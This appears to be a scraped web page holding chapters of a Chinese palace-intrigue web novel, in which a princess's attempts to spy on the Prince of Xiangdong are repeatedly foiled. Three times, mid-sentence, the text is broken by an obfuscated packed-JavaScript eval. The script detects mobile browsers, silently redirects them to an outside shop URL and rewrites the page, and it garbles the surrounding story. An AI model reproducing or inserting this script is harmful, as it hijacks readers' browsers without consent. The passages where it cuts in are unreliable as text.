陈玄素摸了摸自己长长的胡须,顺着萧令瑜的视线望去:“依老臣看,殿下大可不必如此忧心。”他笑了两下,虽然已经年过半百,但声音依然矍铄,“不过是朝中新添了一位能够参政的王爷,不足为奇。”湘东王在朝中根基浅薄,如何能敌得过正统? 萧令瑜垂下眼去,半开玩笑地回答:“有陈相此话,想必我今日用膳也能多添半碗了。”顿了顿,关心道:“近来天热,陈相用膳可好?我府上人腌渍些开胃的小菜,不如给陈相送上两坛。” 陈玄素拱手行礼:“承蒙殿下挂念。” “殿下,陈相。”此时从后面又走出来一人,看向萧令瑜和陈侍中后拱手示意。 萧令瑜道了声:“韦中书令。” 来人叫作韦庭忠,四十余岁,出自京兆韦氏。中书令裴旭去世以后,皇帝向公主提议,让韦庭忠担任中书令一职。至于为什么皇帝对此人格外提携,那是因为韦中书令还有另外一个身份,他是皇帝的亲舅舅,先皇后的兄长。照这么算的话,韦庭忠跟萧令瑜也算沾着亲带着故。 韦庭忠走过来,笑着说道:“老远就听见殿下和陈侍中说话了。近来天气炎热,二位可要注意身体。朝堂之上缺了谁也缺不了殿下还有侍中啊。” 萧令瑜随口寒暄道:“不光我与陈相要注意暑热,韦相亦该如此。” 听到萧令瑜对自己韦相的称呼,韦庭忠脸上的笑意愈发明显,拱手道:“臣自当不负殿下关怀。” 陈玄素自韦庭忠说话起就垂着眼眸不发一语,待到萧令瑜和韦庭忠寒暄完毕后道:“殿下,门下省事务繁多,臣先行告退了。”待行过礼后背着手往东面官署走了。 韦庭忠的笑容不由得一僵。 萧令瑜早已将朝堂的官员梳理了一番,所以知道二人的关系不好。原因么,还要从昭武皇帝在时说起。 那时文成皇帝还是太子,住在东宫,陈玄素在东宫任职四品谕德,行劝谏之事。那时韦庭忠还只是个礼部的五品员外郎,但因小妹嫁入东宫为太子妃,所以经常在东宫内行走。然后陈玄素就劝谏还是太子的文成皇帝,说韦庭忠频频出入东宫如入无人之境,这样不好。之后文成皇帝便告诫韦庭忠不必常来东宫。 自此陈玄素和韦庭忠便结下仇怨。 萧令瑜觉得公主同意韦庭忠任职中书令这一举动实在是大有深意。想想看,若是中书令和门下侍中亲如一家,那还有皇帝和公主什么事呢? 想到这里萧令瑜知道该给韦庭忠个台阶下了,颔首示意:“日头起了,时候也不早了,韦相也该回中书省,而我也要早些出宫了。” 韦庭忠道:“臣送殿下。”说着跟在萧令瑜身后一同往宫门处走去,谁知才踏出宫门,萧令瑜就看到了个她暂时不想看到的人——裴钰。 萧令瑜:...... 又见面了,便宜未婚夫。好吧,应该是又又见面了,毕竟刚刚早朝时裴钰也在,只不过那时萧令瑜的注意力都在湘东王身上,把他给忽略了而已。 裴钰的视线快速从萧令瑜和一旁的韦中书令身上扫过,然后行礼道:“殿下,韦中书令。” 韦庭忠开口问道:“裴少卿不回太仆寺,而在宫门口等待所为何事啊?” 裴钰回答:“下官有事要同殿下相商。” 萧令瑜再次:...... 啊这,你可别告诉我,你要跟我商讨的事是婚事吧!达咩! “哦?”韦庭忠看了裴钰一眼,又不动声色地瞥了萧令瑜一眼:“可是为的关中今年少雨,牧场的草料不足,故而不能像往年那样供应宫闱马匹的事情吗?”自顾自的继续说:“此事陛下已然知晓,命我同太仆寺卿商议,减少关中牧场的马匹供应。裴少卿来得正好,一同随我到中书省议事吧。” 裴钰抬眼看向萧令瑜:“殿下可要一同前往?” 还不等萧令瑜回答,韦庭忠便说:“此乃小事,我等商议过后再将折子送与陛下与殿下查看便可。天气炎热,殿下又大病初愈,还是早早回府歇息为好。” 如果说没有裴钰,那萧令瑜一定会参与此次政务上的会议,但问题是裴钰也在,思索了下后说道:“也好。不过此事要尽快处理,此外,关中少雨乃是天灾,万不可对牧场人员过多苛责。”说罢走至马车旁,由人扶着上了车。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585437|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等萧令瑜的马车行进之后,韦庭忠看向裴钰微微一笑:“裴少卿,走吧。”说着再次进到宫内,往西面走去。 裴钰慢他一步,虽是往中书省那边走,但却不自觉地转头看向缓缓走远的马车,脸上的笑容逐渐消失。 萧令瑜坐在马车上呼出一口气:她现在真没心情想婚约的事,她现在的心思都在如何防湘东王上。等到回到公主府后,萧令瑜坐在一旁思索着什么,片刻之后对绿芙道:“唤卫征来。” 不多时卫征进来行礼。萧令瑜对他吩咐道:“你挑几个人乔装打扮,装作小贩在湘东王府附近走动,监视湘东王的一举一动。”她想好了,首先要把湘东王这人给看住了,他见了谁,去了哪,做了什么事,她都要知道得一清二楚。 卫征道了一声是便下去安排了。 这边绿芙接过侍女送上来的绿豆汤道:“殿下,盛夏炎热,您用些冰镇的绿豆汤吧。” 萧令瑜“嗯”了一声,接过饮下,凉凉的甜水瞬间抚慰了她紧绷的心神。过了一会儿她道:“扶我去殿内睡会儿。”这阵子她都没怎么睡好觉。 之后不久,卫征的密探步入了监视的日程,但是湘东王府却意料之外地平静非常。这阵子没有什么人去王府拜访,而湘东王自己也没有去任何地方进行走动,只除了隔三岔五地上朝、退朝。至于朝廷上的政事,湘东王也没有什么参与感。 萧令瑜:这么安静吗?不对头啊。她总觉得湘东王是在暗地里憋什么大招,可是会是什么大招呢?她!不!知!道! 干! 她好想成为湘东王肚子里的蛔虫啊喂!不过又一想,算了吧算了吧,虫子什么的,有点恶心的说。 萧令瑜心中讪讪,不禁感慨为啥老天爷没有给她个金手指,比如读心术之类的!唉!不过今日卫征前来禀报,倒是说起一事。萧令瑜眉眼一挑:“湘东王府在招人?” 卫征:“是,说是王府内人手缺失,要招侍女和杂役。” 萧令瑜左思右想起来,要是能安插人进王府,那监视起来就更容易了,说不定还能打探出来一些更隐秘的消息。可是...安插卧底什么的...她不自觉的想起先前的巧绣... 卧底这种事,闹不好会出人命。 绿芙轻声道:“殿下,可要属下挑几个聪慧麻利的侍女混进王府?” 萧令瑜思考了良久,最后道:“遣人贵精不贵多,暂且挑两个看看能不能混进去。不过...”她继续补充:“告诉她们,要是哪日被人发现了,只管打出公主府的名号。” 她想要得到湘东王的消息是没错,但也不会把人当耗材用。到时候人要是暴露了,只要说是她派过去的,那么湘东王大概率会拿这个说事,不会杀了她们。大不了到时候她脸皮厚一点去捞人。 脸面和人命,孰轻孰重,她还是分得清的。 绿芙重重地点了点头,“是,奴婢知道了。” 萧令瑜看向卫征继续道:“继续监视湘东王府,待到侍女顺利进入湘东王府后,你们也好互照应。” “属下明白。”卫征赶忙回道。 虽然萧令瑜是做好了安排,但是事情却不像她想象得那般顺利。绿芙派遣卧底混进湘东王府的事情遭遇滑铁卢,之后卫征那边监视湘东王动向的事情也没办法进行下去了。 Why? 萧令瑜表示:都怪敌人手段了得!哼! 10. 算盘落空 此刻,堂内站着两名侍女,正在接受萧令瑜的询问。这两人是前不久进府上伺候的,原本是在茶房当差。最近绿芙挑选做密探的合适人选,就把她们挑了出来,之后给她们做了些叮嘱教导,便让二人伺机混入湘东王府,打探消息。只是不想才把人遣出去,没过多久她们就回来了。 萧令瑜觉得事情有些反常,所以叫她们来亲自过问,温和的看着她们问道:“可是遇到什么事了?” 其中一名侍女春花赶忙回答:“回殿下,奴婢奉命前去湘东王府应招,却不想湘东王府对于仆从的检查十分严苛。” 萧令瑜:“怎么说?” 春花和身旁的夏月对视了一眼,紧接着说道:“还请殿下听奴婢们细细讲来。” 那日春花和夏月两人前往湘东王府西侧的杂院应聘侍女。抵达地方后,发现这边想要进王府当差的人极多。为了不引人注意,春花和夏月二人一前一后的分开排队。 不久之后,春花率先接受了王府管家的询问。她沉着气将编造而来的经历慢慢说来:自己出生在洛阳本地,家中做些茶叶相关的小生意,故而能泡一手好茶。早些年在城中富贵人家当过差,后来雇期到了,又听闻王府招工,所以前来碰碰运气。管家问了她一些茶叶相关的事情,还让她当面泡了一壶茶,春花也都一一照做了。 看着管家频频点头,春花便觉得自己进王府的事应该是十拿九稳的。结果谁知那管家却道:“姑娘泡茶的技艺是不错,只是想进王府当差还要再等几日。” 春花眼珠一转,以为管家是想从中捞些好处,所以从袖中拿出几块散碎银子塞给他,讨好的说:“管事大人,这是为何啊?难道是小女子哪里做的不好吗?” 但管家不仅没接她的银子,反而拿起笔来,具体问起了她的籍贯等事:“姑娘方才说自己姓柳,叫春花。说自己家住哪里来着,街坊邻居都有几人啊?另外你说自己家中是做的茶叶生意,是开的铺子还是设的摊子。营生是在洛阳城内还是城外,码头还是市坊啊?” 春花没想到他盘问的这般细致,稍待了片刻就真真假假的编造起来,“小女子家在里仁坊。我家远在乡下,最近家里攒了银子才搬到城内来的,因此还不知邻里都有什么人。家里做的是茶摊之类的小生意,没有固定的场所,寻常都是抬着炊具,走街串巷的。” 管家将她所说的记录好后,冲她摆了摆手道:“行了,姑娘回去吧。等王府查清姑娘所说的属实之后,姑娘就能进王府当差了。” 春花:...... 春花从王府的杂院出来,冲还在队伍中排队还没接受过询问的夏月使了个眼色,二人于是偷偷跑到巷子里碰头。 夏月从春花那听说了事情的大概之后,偷摸的拦住了从王府出门做事的下人,冲他使了银子,打探了一下消息。 据王府的下人所说,但凡是进府上当差的人,无一例外都要经过严格的排查。甭管是在王爷身侧近身伺候的侍女,还是府上寻常地方洒扫粗使的仆从,王府都会派人去官府,以及此人的住处核验过身份,以保无误。 夏月柔声询问:“哪怕是在厨房做工的仆妇?” 下人看了她两眼,“姑娘是厨娘?” 夏月含糊的点了两下头。 下人道:“那也得查清底细才能入府。” 夏月想了下又问:“倘若不是雇佣,而是典卖的奴婢呢?” “王府买人都是从牙子手上买的,自卖为奴的不要。而且王府买奴也不单买,而是直接买一大家子。”下人因为得了钱财,也是什么都说了出来,压低了声音:“先前大长公主在府上遇刺,这事谁人不知谁人不晓。你说我们王爷能不担心府上混了刺客吗?” 夏月前脚送走了那人,后脚就忧心忡忡的将打探出来的情况跟春花说了。两人合计了一下,一时间也不知该如何是好:她们的底细可经不起这样的排查啊!所以没办法,俩人只好再次返回公主府汇报情况。 听完她们的叙述之后,萧令瑜不禁感慨万分:反派不可怕,就怕反派有文化。这年头就连反派都给人做上背调了!真是大大滴狡诈! 绿芙听了事情的始末之后,眉头也是蹙了起来,“殿下,湘东王府对人手的审查如此缜密,想要派人潜入怕是极难。” 萧令瑜叹了一口气:可不是么。 绿芙思索了片刻,然后道:“殿下何不直接给湘东王送人呢?” 打明牌吗? 萧令瑜想了想,最后还是摇了摇头。 明着送人当然是可以,可是送过去的人就相当于打上了公主府的标签,她们在湘东王府做事肯定会备受排挤。这么做除了给湘东王添堵,实际上并不能发挥出什么作用。 “罢了。”萧令瑜思索再三,最终还是放弃了往湘东王府派间谍的事,开口说道:“既然安插不了人就算了。”此路不通也无妨,不还有卫征他们在外监视呢么。 绿芙也只是稍微提了一嘴,见萧令瑜做了决定也就不说什么了。 萧令瑜抬起头来,看向春花和夏月两个,“先前说过会免除你们家三年的佃租,虽然潜入湘东王府的事情没成,但佃租的事依旧作数。” 春花和夏月没想到一事无成还有回报,顿时高兴起来,感激的行礼说道:“多谢殿下恩典。” “嗯,”萧令瑜随意的点了点头:“去吧,以后在府上安心当差。” 等两人退出去后,绿芙轻声道:“殿下莫忧。卫典军他们在外对王府进行监视,一样能够得知湘东王的行迹。” 萧令瑜“嗯”了一声,“跟卫征说,一旦发现什么及时禀报。” “是。”绿芙重重的点头。 又过了几日,卫征前来汇报,说湘东王府有了其他的动作。不过这个动作对于萧令瑜来说是个坏消息。因为这事,卫征他们对于湘东王府的监视遇到了严重的阻碍! “近来,湘东王将王府附近街巷的民宅全部购置了下来。”卫征沉着一张脸禀报道。 乍一听此事,萧令瑜心头率先涌现出浓浓的不解:“他购置民宅做什么?” 卫征回答:“说是湘东王为了安置自己带来的百余名侍卫,所以将王府附近的民宅买下改做兵房。” “绿芙取舆图来。”萧令瑜说道。 很快绿芙上前将洛阳的舆图奉上。萧令瑜将洛阳坊间的舆图打开,一边寻找湘东王府的位置,一边蹙起眉头问道:“他买的哪里,买了几所住宅?” 卫征沉声回答:“王府南侧街巷的民宅二十余所全都被买了下来。这几日已经有多家民户搬离此处。不仅如此,王府的侍卫也在赶人,说之后附近的街巷会受王府管辖,禁止小商小贩来往。” 萧令瑜伸手按在了舆图的惠和坊上。该坊跟洛阳的其他坊相比面积不算大,湘东王的府邸在惠和坊东侧,大概占据了其三分之一的土地。王府的西侧是一条大道,再往西是寺庙。王府的南侧是一小片居民区,内有几条交错的街巷。这几天,卫征他们主要在南边的居民区活动。 她的眼睛不自觉的眯了起来:湘东王此举是为了安置侍从吗?主要的目的分明是为了防止自己被人窥探行踪。 萧令瑜抬手敲了敲舆图的位置,喃喃道:“如此监视的事情怕是难办了。” 听见萧令瑜如此说,卫征脸上也闪过一丝不甘:“原本侍从们装作小贩在王府对面的巷口摆摊,但现在已经没有办法近距离对湘东王进行监视了。” 萧令瑜心头不自觉的涌上浓烈的挫败感:才多久啊,湘东王见招拆招的,把她的部署全都给打破了。这人怎么就这么聪明呢?不!聪明这个词太正面了,应该说他狡猾、鬼心眼子多! 不要慌,不要急。吸气呼气,平心静气。 萧令瑜闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585438|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了眼,在心中默念了几遍。湘东王很难对付她是知道的,不能因为两件事没有按照自己的预期发展而感到气馁。 这才哪到哪呢! 想到此处,萧令瑜眼中急躁慢慢褪去,逐渐恢复了平静,手指缓慢的敲击着桌面,思索接下来该怎么办。 须臾,她突然开口:“吩咐惠和坊的坊正坊卒等人让他们在当差之余,关注湘东王在坊间的情况。若知晓湘东王无故外出,则立马密报公主府。” 眨眼过了半个多月,自卫征等人撤出惠和坊后,萧令瑜对于湘东王的动向监视依旧一无所获。一是因为坊正和坊卒人少,而且位卑权小,没有获得多少有用的信息。二来,则是这段时间,湘东王又变得深入浅出,好像清扫完王府和王府四周之后,他就别无他想了一样。 萧令瑜心中对这种情况十分不快,她总觉得这是风雨欲来前的平静。因此这些天只要上朝,萧令瑜就不自觉地盯着湘东王看。 这天也是,就在萧令瑜盯着湘东王看入迷了的时候,皇帝突然开口道:“大长公主,你对此事如何看待呢?” 萧令瑜恍然回神。 即将入秋,朝廷针对全国征收的赋税指令已然下发各州,但这两日江淮地区的温、台、淮三州刺史上报,说入秋多雨,地方遇到洪涝,怕无法征收足额的税收。今日早朝,众人便商议是否要减免江淮三州的赋税,减免多少合适。 “夫民者,万世之本也。如今江淮民众受灾,必不能强征暴敛。且陛下为天子,仁圣聪睿,必视民如伤,故而减免江淮四州的赋税势在必行。” 萧令瑜开口说道:“然,我等远在洛京,不知江淮灾情如何。不如派遣使臣巡视地方,既能安抚百姓,又能走访民情。倘若灾情实属严重,可免除今年赋税。倘若百姓尚有余力,再行征收之事。” 皇帝颔首道:“如此,就依大长公主所言。”说罢钦点了御史台的监察御史二人,不日前往江淮。 早朝过后,萧令瑜走出殿外,这时湘东王还没离开,冲她微微一笑:“皇妹,这些天我怎么感觉你好像有些心神不宁啊,尤其是今日早朝,皇妹想什么呢?而且瞧你,眼下带着乌青,是最近无法安眠吗?” 萧令瑜:我睡不好觉是因为什么,你心里没有点AC数吗? 不过面对这种阴阳,萧令瑜也不至于生气,冲他粲然一笑:“是啊,是无法安眠。不知四哥近来睡得可好?” 湘东王:“酷暑已过,我倒是比之前好眠了许多。” 萧令瑜点了点头,叹了一口气,转眼反将了他一军:“四哥比我强。我心弱,想着江淮百姓遭受涝灾就吃睡不安。” 湘东王:...... 他顿了顿,笑道:“陛下已经派遣了使臣,如此皇妹应该能安心了。” 萧令瑜:“是啊。”她也懒得再跟湘东王寒暄,“想来我也能睡个好觉了。”说着,大步迈过湘东王往宫外走去。她走得又急又快,丝毫没有注意到一旁还有人在注视着她,在她走过去后躬身行礼。 很快到了八月中秋,百官迎来不少假日。萧令瑜也不例外,趁着这个时候在府中休养生息,调整心态。她甚至琢磨着,如果湘东王能这样老实一辈子,那也是好事一桩。 不过这种可能性很小就是了。 就在这时,绿芙快速从外头走进来,急急禀报道:“殿下,方才崇仁坊坊卒来报,说湘东王带着人马出城去了。” 萧令瑜精神一振:我就知道这老小子一定不安分!赶忙追问:“他去了哪?做什么去?” 绿芙:“听说湘东王觉得秋高气爽,起了兴致去郊外狩猎。” 萧令瑜在心里呵呵了两声:你信他是真的去郊外狩猎,还是信我是秦始皇?! 她眼眸一转,往后椅背上一靠,慢条斯理地说道:“说起来这阵子天气是不错。如此,我们也出去逛逛吧。” 11. 故弄玄虚 邙山,位于洛阳城北郊十里开外,树木森然,山体连绵,是洛阳贵族出城郊游狩猎赏景的好地方。 萧令瑜听说湘东王带人去了北邙山,自己也紧跟着来到了山麓下公主的一处别业。这处宅院比起公主府自然不算大,但却十分雅致,院中摆设着几盆金丝菊,角落栽种着几处竹丛,看着清幽非常。 “打听到了吗?”来到这里的第二天,萧令瑜就命人去湘东王别业附近的村庄打探消息了。 绿芙回禀:“据田里的村民所说,今日一早瞧见湘东王带着侍卫等人进山去了。” 萧令瑜认为湘东王来邙山绝对不是心血来潮,一定是在计划着什么,于是吩咐道:“叫卫征带几个人,我们也进山狩猎去。” 不管湘东王背后有什么盘算,她都照跟不误。不盯紧了他,她总觉得寝食难安! 很快,萧令瑜便换上了一身便于骑射的胡服,带着十来个人也进了山中,决定跟湘东王来一场人为制造的偶遇。至于怎么个偶遇法:湘东王的别业在她的别业的东边,相隔不过二三里,如果湘东王就在自己的别业后方附近行动,那她只要带着人往东走就一定能碰到他。 这般想着,萧令瑜气势勃勃地带着人骑着马沿着山路往东走了。 那事情真的如萧令瑜猜想的那般顺利吗? 完全木有! 萧令瑜骑着马在山间走了好几久,却连湘东王的影子都没见着。她蹙起眉头在心里感慨:这邙山实在是太大了!舆图上不过两个巴掌宽的山脉,但实际上却是前望不到头,后顾不到尾。也是,是她想岔了,邙山足足绵延百十里,附近山头林立,这么大的地方别说藏十来个人,就是藏百个千个也根本不成问题。而且山中也没遇见个猎户啊什么的,也没得打听消息去。 总结一下:她压根不知道湘东王跑哪去了! 萧令瑜烦躁地翻身从马上下来,没忍住一马鞭抽在旁边的树干上。 “殿下。”绿芙拿着水壶走过来道:“您喝些水润润喉。” 萧令瑜接过水壶猛灌一气,眉宇间煞气凝重。 绿芙轻声提议:“不如让侍卫分开寻找湘东王的踪迹?” 萧令瑜点了点头,“就这样办吧。” 绿芙答应着,抬起头冲卫征使了个眼色。卫征心中了然,立即散了几个侍卫往四周去了。 萧令瑜看了看太阳,估摸着已经到晌午了,环顾了一下四周,看到不远处有条溪流,于是开口道:“不走了,就在此地歇息。”有她发话,侍卫们也都从马上下来,将带来的折凳,铺地的摊子拿下来安置。 等一切都收拾好后,萧令瑜坐在地毯上,看着远处潺潺的波光潋滟的流水,心中暗自琢磨着湘东王究竟带着人去了哪里。这附近有六七个山头,西边有翠云峰、宜苏山,东边有凤凰山、首阳山。除却山峰,山下又有不少山谷、山涧。 想着想着,萧令瑜就有些烦了。她很想把湘东王的腿打折,这样看他往哪跑!哼! 就这么干坐了有一炷香的功夫,散出去的侍卫全都回来了。卫征上前来禀报说:“殿下,东南西北四处五里以内,都不曾看到湘东王等人的踪迹。” 萧令瑜:...... 过了好一会,她才说道:“时候也不早了,我在此处看看景致,你们四下打猎去吧。”来都来了,也不能空着手回去,不然干嘛来了。 “殿下,用些点心吧。”此时,绿芙将食盒拿出,奉上糕点。 萧令瑜看着她道:“绿芙。” “奴婢在。” 萧令瑜:...... 她看着绿芙询问着的目光一时间语塞了。她其实想说,在绿芙眼里她是不是很没用。如果是公主本人,一定会做得比她好吧。 绿芙迟迟得不到指示,试探性的询问:“殿下?” 萧令瑜叹了一口气:“无事,我只是觉得有些累了。” 绿芙关心着说:“那殿下可要在此小憩?” 萧令瑜默不作声,只是冲她招了招手。绿芙但很快明白过来,往她身边挪了挪。萧令瑜调整了一下姿势,侧躺在她的膝盖上,然后用帕子蒙上了脸。 如果是公主...公主会怎么做呢? 萧令瑜蹙着眉头闭上了眼睛,进入到了一种似睡非睡似醒非醒的忘我状态。也不知过了多久,绿芙将她唤了起来:“殿下,山间起风了。” 萧令瑜迷迷糊糊地睁开了眼,坐起身来,果然听到附近的树叶哗啦啦的脆响。远处,太阳也已经西斜,打在半黄半绿的草地上。 时候不早了... 虽然是睡了一觉,但萧令瑜却觉得自己疲惫极了,轻声道:“回去吧。” 很快一行人收拾妥当,骑着马返回了别业。只是没想到萧令瑜才回来没多久,就有人上门来。谁呢?湘东王身边的侍卫头头罗宴。来干嘛呢?给萧令瑜送猎物。 萧令瑜:??? 前院内,罗宴带着几个仆从躬身行礼:“下官见过大长公主。” 萧令瑜的视线瞥过他身后仆从手上的笼子,里头大略的装着山鸡、野兔还有一些比较大的东西一时间不知道是狼獾还是什么。 罗宴恭敬的道:“今日王爷进山狩猎,猎得了许多野味。王爷听闻公主也到了邙山的别业,故而命我等前来送些猎物给殿下,请您品尝。” “是么。”萧令瑜示意旁边人将这些猎物拿到厨房,“湘东王有心了。”试探的问:“今日我也同人在山间狩猎了一番,可也不知什么缘故,此处猎物稀少。你们是去的哪里,得了这么些野物的?” 罗宴:“回殿下,王爷今日带着人在山中行走,深入腹地,故而收获良多。” “原来如此。”这话听着跟放啊屁啊一样,萧令瑜冷冷的想。 罗宴接着道:“王爷还说秋日最宜登高,若是清晨站在山峦之巅,眺望红日初升,景致一定宜人。” “哦?”萧令瑜挑眉:“说起来我也许久不曾登高望远了。湘东王要去哪座山峰,倒是可以跟我做个伴。” “这...”罗宴迟疑着回答:“下官不知,更不敢妄自揣度,还请殿下恕罪。” 萧令瑜:你不知道,那你说这事干嘛,不觉得十分刻意吗?你是不是故意的! 罗宴办完了事就告退了,只留萧令瑜在堂内坐着生闷气。不过再生气,饭还是要吃的。餐桌上,湘东王送来的猎物都变作了食物端了上来。萧令瑜拿着刀,把桌上的一道炙烤野鸡当成湘东王一般,对其又戳又割,刀子使的嘎吱吱响。 登山。 萧令瑜一边狠狠嚼着肉,一边思索:明天早上她要不要去爬山呢?可是不知道湘东王要去哪座山头啊。而且湘东王为什么特意叫人告诉她他要去爬山。怎么,这是要玩猜猜我去哪的游戏吗?还是说是这对她的一种挑衅? 她倏然放下筷子,在心里默默思考:如果是公主面对湘东王这样的挑衅,会是什么反应?直到晚间入睡,萧令瑜都在想这个问题。也不知想了多久,才沉沉睡去。 但这一觉睡的那叫一个昏沉,萧令瑜再次起来的时候太阳都升的老高了。萧令瑜:都这个点了,还爬个毛线球的山哦。 萧令瑜伸手揉了揉额头,虽然是起晚了,可她还是感觉自己没睡好。反正都这么晚了,要不干脆再补个觉呢?正这般想着,结果绿芙传话说湘东王的人又来了。这次来是送给她画的,说湘东王今日爬山看到日出景象,心中感慨万分,回来后挥毫泼墨作画一幅,特意叫人送与萧令瑜欣赏。 萧令瑜:...... “殿下,湘东王实在是欺人太甚!”萧令瑜还没开口说话,绿芙就先忍不住了,冲着侍女手中的那副画怒目而视:如此一而再再而三的挑衅,是觉得公主处置不了他是吗? 萧令瑜沉着气问:“来人有没有说些别的?” 绿芙愤愤的回答:“说湘东王明日要去山涧品泉。” 呵。湘东王这是要放风筝啊。咋滴,她长的很像一个风筝吗? 萧令瑜深吸一口气,轻笑出声:人在无语的时候确实很容易笑啊。良久过后抬起眼来:“画呢?拿过来我瞧瞧。” 绿芙拧着眉:“殿下?” 萧令瑜不容置否的点了点头,示意自己就是要看。 绿芙抿了抿唇,让旁边拿画的侍女上前来,然后缓缓将画打开。 嗯,说实话,这画是挺有意境的。红日高悬,霞光一片,照耀山间。萧令瑜盯着这幅画看了许久,一时间看入了迷,不多时脑中豁然开朗。 是她着相了。 萧令瑜不免想起多年前,自己刚刚在影视界崭露头角,受邀参加某品牌举办的晚宴。那时她也是十分紧张,又是担心自己不会说话,又是担心自己一举一动不够得体。但后来这种事情多了之后,她才觉得什么晚宴,什么通告,左不过是利益交换,人情往来。 没什么好新鲜的。 那现在的她和当年的她是不是重叠了呢? 莫名其妙拿到了政治斗争的入场券,时刻紧绷着,害怕会在这场斗争中输得一败涂地。毕竟娱乐圈的竞争不过是一个角色,一场代言,最坏的也只是冷藏、封杀,在荧幕上查无此人。可是政治斗争不同,输了就输了命,输了就什么都没有了。 所以,她才会这么的迫切,这么的急躁,这么的...担忧,如同惊弓之鸟。 萧令瑜缓缓舒了一口气。 之前的问题再次在脑海中浮现:如果面对此事的人是公主,她会怎么做呢? 很快,答案便浮于脑海:公主是绝对不会被人牵着鼻子走的。公主之所以能在之前的政治斗争中胜利,是因为她不管遇到什么事,都是那么的沉稳。她不会自乱阵脚,而是选择尽可能的握住自己能抓到的一切力量,然后在时机成熟之时向敌人展示雷霆手段。 萧令瑜突然开悟:是她本末倒置了。 她在担心什么呢?担心湘东王联络朝臣,积攒力量。她该担心吗?是该担心,但是她该担心的是结果而不是这个过程。若是湘东王对待文武百官极尽拉拢,但却一无所获,那她又何必纠结他见了谁呢?哪怕他真在暗处拉拢了一些人,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17585439|205227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又怎么样,能立马掌握朝堂上的话语权吗? 要知道权力是什么。权力是一个人么?是一群人吗?不,是大多数人。只要她能获得大多数人的认可和拥护,那么湘东王便不值一提。 另外权力是放在明面上的东西。争夺它的过程兴许会暗流涌动,也许会有阴谋诡计,但不管怎样,事情最后都要摆在台面上:届时谁是同盟、谁是敌对,一目了然。 其实想想,现在急躁的不应该是萧令瑜,而应该是湘东王才对。洛阳啊,这可是公主的主场,湘东王的势力可不在这里。所以湘东王的一切举动,譬如清扫王府或是在行踪上故弄玄虚,又何尝不是在夹缝中求生? 这么一想,萧令瑜眉眼悠悠舒展,嘴角扬起,明媚非常。 绿芙从刚刚起就看着萧令瑜百般变脸,可当看到萧令瑜如此灿烂笑容时,她不免心中诧异:湘东王如此上蹿下跳,殿下竟然都不生气?殿下莫不是气糊涂了。 “这画不错。”萧令瑜看向书桌旁边的墙壁,示意说:“就挂在这吧。”把它放在显眼的地方,时时刻刻的提醒着自己,不要钻了牛角尖,更不要被一时的表象迷惑。 绿芙担忧的看过来:“殿下,您无事吧?您为何...奴婢...不明白...” “不识庐山真面目,只缘身在此山中。”萧令瑜挑眉笑看着她,既是对自己说也是对她说:“绿芙,是时候跳出来了,莫要着了相。” 绿芙一愣,接着瞪大了双眼。 萧令瑜垂下眼去,嘴角的笑容依旧没有消失,询问道:“厨房那边猎物还有多少?” 这个话题转变的太快,绿芙愣愣的回答:“还有三笼,多是野兔和野鸭。” “唔,东西少了点。”萧令瑜盘算了一下,然后吩咐:“让卫征他们这两天再上山打一些。”不急不缓的给这些猎物安排好了去处:“猎得的野物,一笼送到中书令韦大人府上,一笼送到门下省侍中陈大人府上。此外六部尚书、侍郎,也分别送几只兔子或几只野雉,就说我请他们尝尝鲜。” 绿芙:!!! —— 自打萧令瑜想通了之后,她也不在意湘东王的动向了:打猎啊,随便。爬山,也随便。管你是真的秋游还是想借机见人,都无所谓。要愿意联络朝臣那就去好了,我倒要看看你能不能拉拢的来,又拉拢的谁。 至于她,比起担忧湘东王跟个蚱蜢似的左右蹦跶,不如稳固自身的力量:以不变才能应万变。 只这么一想,萧令瑜觉得自己松快多了。 松快下来之后,萧令瑜做的第一件事就是往床上躺:哎呀妈呀,可算能舒舒坦坦的睡个安稳觉啦。 不得不说人在睡饱了之后,心情和头脑都会变得很好,也有那个兴致去赏景了。好不容易放个假,不休息休息可太亏了。 这日,萧令瑜放下手上的书,抬眸问道:“难得秋高气爽的好光景,这附近可有什么景致观赏?” 绿芙在被萧令瑜提点过后也不再浮躁,近几日只专心照顾萧令瑜的饮食起居。现在听到萧令瑜问话,笑着回答:“翠云峰下有一片枫林,此时枫叶应该都红了。殿下若想看景,不如去那赏枫?” 萧令瑜点了点头,“在屋内呆了两三天了,都没好好出去转转。” 绿芙颔首:“那属下这就去安排。” 绿芙安排这些素来快速且妥当,不多时,萧令瑜就坐上了马车往翠云峰那边走。马车走的不快,一路上晃晃悠悠。也不知过了多久,马车突然停了下来。 